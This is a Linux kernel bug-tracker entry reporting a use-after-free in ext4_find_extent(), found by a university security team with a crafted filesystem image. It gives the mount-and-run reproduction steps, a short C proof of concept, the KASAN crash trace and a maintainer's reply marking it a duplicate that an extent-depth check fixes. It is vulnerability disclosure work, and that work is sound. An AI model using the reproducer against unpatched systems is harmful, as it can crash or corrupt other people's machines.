Bug 199989 - use-after-free() detected by KASAN in ext4_find_extent() when mounting and writing to a crafted ext4 image
Summary: use-after-free() detected by KASAN in ext4_find_extent() when mounting and wr...
Status: RESOLVED DUPLICATE of bug 199417
Alias: None
Product: File System
Classification: Unclassified
Component: ext4 (show other bugs)
Hardware: All Linux
: P1 normal
Assignee: fs_ext4@kernel-bugs.osdl.org
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2018-06-08 13:03 UTC by Wen Xu
Modified: 2018-06-14 21:09 UTC (History)
2 users (show)

See Also:
Kernel Version: 4.17-rc4
Subsystem:
Regression: No
Bisected commit-id:


Attachments
The (compressed) crafted image which causes crash (16.24 KB, application/zip)
2018-06-08 13:03 UTC, Wen Xu
Details

Description Wen Xu 2018-06-08 13:03:43 UTC
Created attachment 276395 [details]
The (compressed) crafted image which causes crash

- Overview
use-after-free() detected by KASAN in ext4_find_extent() when mounting and writing to a crafted ext4 image

- Reproduce (on KASAN build of ext4-dev branch)
# mkdir mnt
# mount -t ext4 245.img mnt
# gcc -o poc poc.c
# ./poc ./mnt

- POC (poc.c)
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>

#include <dirent.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <linux/falloc.h>
#include <linux/loop.h>

static void activity(char *mpoint) {

  char *foo_bar_baz;
  int err;

  static int buf[8192];
  memset(buf, 0, sizeof(buf));

  err = asprintf(&foo_bar_baz, "%s/foo/bar/baz", mpoint);
  int fd = open(foo_bar_baz, O_RDWR | O_TRUNC, 0777);
  if (fd >= 0) {
    write(fd, (char *)buf, 517);
    write(fd, (char *)buf, sizeof(buf));
    fdatasync(fd);

    close(fd);
  }

}

int main(int argc, char *argv[]) {
  activity(argv[1]);
  return 0;
}

- Kernel message
[  465.204685] EXT4-fs (loop0): 1 truncate cleaned up
[  465.204691] EXT4-fs (loop0): recovery complete
[  465.331842] EXT4-fs (loop0): mounted filesystem with ordered data mode. Opts: (null)
[  468.963356] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117
[  469.009066] ==================================================================
[  469.010744] BUG: KASAN: use-after-free in ext4_find_extent+0x140/0x450
[  469.012151] Read of size 4 at addr ffff8801ec9174c4 by task a.out/1753

[  469.014191] CPU: 1 PID: 1753 Comm: a.out Not tainted 4.17.0-rc4+ #5
[  469.014195] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[  469.014202] Call Trace:
[  469.014248]  dump_stack+0x7b/0xb5
[  469.014284]  print_address_description+0x70/0x290
[  469.014291]  kasan_report+0x291/0x390
[  469.014299]  ? ext4_find_extent+0x140/0x450
[  469.014304]  __asan_load4+0x78/0x80
[  469.014309]  ext4_find_extent+0x140/0x450
[  469.014314]  ? kmem_cache_alloc_node_trace+0x90/0x230
[  469.014320]  ext4_ext_map_blocks+0x144/0x1f60
[  469.014326]  ? ext4_find_delalloc_cluster+0x60/0x60
[  469.014343]  ? __put_compound_page+0x50/0x50
[  469.014351]  ? mpage_process_page_bufs+0x179/0x270
[  469.014357]  ? __pagevec_release+0x55/0x60
[  469.014361]  ? mpage_prepare_extent_to_map+0x56f/0x590
[  469.014366]  ? kasan_check_write+0x14/0x20
[  469.014371]  ? ext4_es_lookup_extent+0x276/0x310
[  469.014376]  ext4_map_blocks+0x246/0xa50
[  469.014386]  ? memcg_kmem_put_cache+0x1b/0xa0
[  469.014391]  ? ext4_issue_zeroout+0xa0/0xa0
[  469.014397]  ? __ext4_journal_start_sb+0x89/0x180
[  469.014402]  ext4_writepages+0xcd5/0x1500
[  469.014409]  ? ext4_mark_inode_dirty+0x3d0/0x3d0
[  469.014433]  ? aa_path_link+0x210/0x210
[  469.014438]  ? kasan_slab_free+0xe/0x10
[  469.014442]  ? kmem_cache_free+0x89/0x1e0
[  469.014456]  ? putname+0x80/0x90
[  469.014461]  ? do_sys_open+0x22e/0x2c0
[  469.014464]  ? __x64_sys_open+0x4c/0x60
[  469.014482]  ? iov_iter_init+0x82/0xc0
[  469.014488]  do_writepages+0x37/0xb0
[  469.014496]  ? ext4_mark_inode_dirty+0x3d0/0x3d0
[  469.014501]  ? do_writepages+0x37/0xb0
[  469.014517]  __filemap_fdatawrite_range+0x19a/0x1f0
[  469.014523]  ? delete_from_page_cache_batch+0x4e0/0x4e0
[  469.014535]  ? fsnotify+0x695/0x720
[  469.014540]  ? __fsnotify_inode_delete+0x20/0x20
[  469.014546]  file_write_and_wait_range+0x66/0xb0
[  469.014552]  ext4_sync_file+0x1e3/0x670
[  469.014557]  ? ext4_getfsmap+0x4d0/0x4d0
[  469.014572]  vfs_fsync_range+0x68/0x100
[  469.014580]  ? __fget_light+0xc9/0xe0
[  469.014585]  do_fsync+0x3d/0x70
[  469.014590]  __x64_sys_fdatasync+0x24/0x30
[  469.014612]  do_syscall_64+0x78/0x170
[  469.014627]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  469.014643] RIP: 0033:0x7fcb74211800
[  469.014646] RSP: 002b:00007ffdd2938d48 EFLAGS: 00000246 ORIG_RAX: 000000000000004b
[  469.014656] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007fcb74211800
[  469.014659] RDX: 0000000000008000 RSI: 00000000006010a0 RDI: 0000000000000003
[  469.014661] RBP: 00007ffdd2938d80 R08: 00000000022f6010 R09: 0000000000000000
[  469.014664] R10: 00000000000002e8 R11: 0000000000000246 R12: 0000000000400610
[  469.014666] R13: 00007ffdd2938e80 R14: 0000000000000000 R15: 0000000000000000

[  469.015042] The buggy address belongs to the page:
[  469.016103] page:ffffea0007b245c0 count:0 mapcount:0 mapping:0000000000000000 index:0x2
[  469.017799] flags: 0x2ffff0000000000()
[  469.018613] raw: 02ffff0000000000 0000000000000000 0000000000000002 00000000ffffffff
[  469.020260] raw: dead000000000100 dead000000000200 0000000000000000 0000000000000000
[  469.021890] page dumped because: kasan: bad access detected

[  469.023407] Memory state around the buggy address:
[  469.024441]  ffff8801ec917380: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  469.025960]  ffff8801ec917400: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  469.027480] >ffff8801ec917480: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  469.029010]                                            ^
[  469.030142]  ffff8801ec917500: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  469.031674]  ffff8801ec917580: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[  469.033199] ==================================================================
[  469.034726] Disabling lock debugging due to kernel taint
[  469.056481] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117
[  469.108459] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117
[  469.168475] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117
[  469.228454] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117
[  469.280453] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117
[  469.344443] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117
[  469.396441] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117
[  469.448445] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117
[  469.508445] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117
[  474.000496] EXT4-fs error: 89 callbacks suppressed
[  474.000515] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117
[  474.048380] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117
[  474.112358] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117
[  474.160564] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117
[  474.208348] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117
[  474.264378] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117
[  474.308344] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117
[  474.352355] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117
[  474.412464] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117
[  474.460409] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1528337011 err=-117

- Reason
https://elixir.bootlin.com/linux/v4.17-rc7/source/fs/ext4/extents.c#L897
Based on the information given by KASAN report, UAF happens in ext4_ext_binsearch_idx(). When calculating median (ext4_extent_idx* m) in binary search, a dangling pointer is accessed.

Reported by Wen Xu (wen.xu@gatech.edu) from SSLab at Gatech.

Note that the bug may require several tries to reproduce on KASAN build.
Comment 1 Theodore Tso 2018-06-14 21:09:16 UTC
This is a dup of #199417.   With the patch:
ext4: verify the depth of extent tree in ext4_find_extent()

... this reproducer no longer crashes:  (note the invalid extent depth ext4_error complaint):

root@kvm-xfstests:~# /vdb/poc/do-989
[   61.103607] EXT4-fs (loop0): 1 truncate cleaned up
[   61.104790] EXT4-fs (loop0): recovery complete
[   61.107122] EXT4-fs (loop0): mounted filesystem with ordered data mode. Opts: (null)
[   61.121704] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm poc-199989: error while reading EA inode 1528337011 err=-117
[   61.125338] EXT4-fs error (device loop0): ext4_find_extent:874: inode #14: comm poc-199989: inode has invalid extent depth: 28535
[   61.129157] EXT4-fs (loop0): Delayed block allocation failed for inode 14 at logical offset 0 with max blocks 33 with error 117
[   61.132337] EXT4-fs (loop0): This should not happen!! Data will be lost
[   61.132337] 
[   61.135080] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm poc-199989: error while reading EA inode 1528337011 err=-117
[   61.157028] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm kworker/u4:0: error while reading EA inode 1528337011 err=-117
[   61.160579] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm kworker/u4:0: error while reading EA inode 1528337011 err=-117

*** This bug has been marked as a duplicate of bug 199417 ***

Note You need to log in before you can comment on or make changes to this bug.